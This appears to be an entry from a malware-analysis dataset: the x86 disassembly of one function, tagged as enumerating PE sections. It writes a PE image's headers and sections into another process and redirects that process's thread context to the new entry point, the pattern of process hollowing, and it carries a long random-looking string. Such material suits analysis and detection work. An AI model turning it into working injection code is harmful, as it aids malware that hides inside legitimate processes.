Function at 0x405ff0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x413b90
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x439198]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x20], ecx
push 0x4280ac
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x20]
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0
push 0
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [0x43a2e4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0x18], 0
jmp 0x406068
mov eax, dword [ebp - 0x18]
add eax, 1
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 0x10]
movzx edx, word [ecx + 6]
cmp dword [ebp - 0x18], edx
jge 0x4060c0
mov eax, dword [ebp - 0x18]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ecx + 0x3c]
lea eax, [eax + edx + 0xf8]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], str.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
push 0
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx + 0x10]
push edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x14]
push ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0xc]
push eax
mov ecx, dword [0x43a2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x40605f
push 0
push 4
mov edx, dword [ebp + 0x10]
add edx, 0x34
push edx
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax + 0xa4]
add ecx, 8
push ecx
mov edx, dword [0x43a2e4]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x28]
mov edx, dword [ebp + 0x14]
mov dword [edx + 0xb0], ecx
mov al, 1
jmp 0x40611e
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x14